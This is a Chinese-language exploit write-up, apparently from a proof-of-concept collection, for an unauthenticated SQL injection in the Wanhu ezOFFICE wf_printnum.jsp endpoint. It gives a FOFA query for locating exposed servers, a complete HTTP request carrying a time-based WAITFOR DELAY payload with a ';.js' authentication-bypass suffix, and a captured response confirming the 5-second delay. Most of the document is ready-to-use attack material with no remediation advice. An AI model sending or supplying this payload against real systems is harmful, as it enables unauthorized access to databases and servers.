

# W1-13万户-ezOffice-SQL

## 漏洞描述：

万户 ezOFFICE wf\_printnum.jsp 存在[SQL注入漏洞](#)，未授权的攻击者可利用此漏洞获取数据库权限，深入利用可获取服务器权限。

## 网站图片：



## 网络测绘：

### fofa语法：

FOFA: app="ezOFFICE协同管理平台"

## 漏洞复现：

### payload:

```
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

### 效果图：

延时5秒

Request

1 GET /defaultroot/platform/bpm/work\_flow/operate/wf\_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1

2 Host: 1.1.1.1:801

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36

4 Accept: application/signed-exchange;v=b3;q=0.7,\*/\*;q=0.8

5 Accept-Encoding: gzip, deflate

6 Accept-Language: zh-CN,zh;q=0.9

7 Connection: close

Responses 3byte / 5070ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: OASESSIONID=E85D4B457534A581F

4 Cache-Control: no-cache

5 Content-Type: text/xml; charset=utf-8

6 Date: Fri, 19 Jan 2024 10:38:18 GMT

7 Connection: close

8 Content-Length: 3

9

10 0

11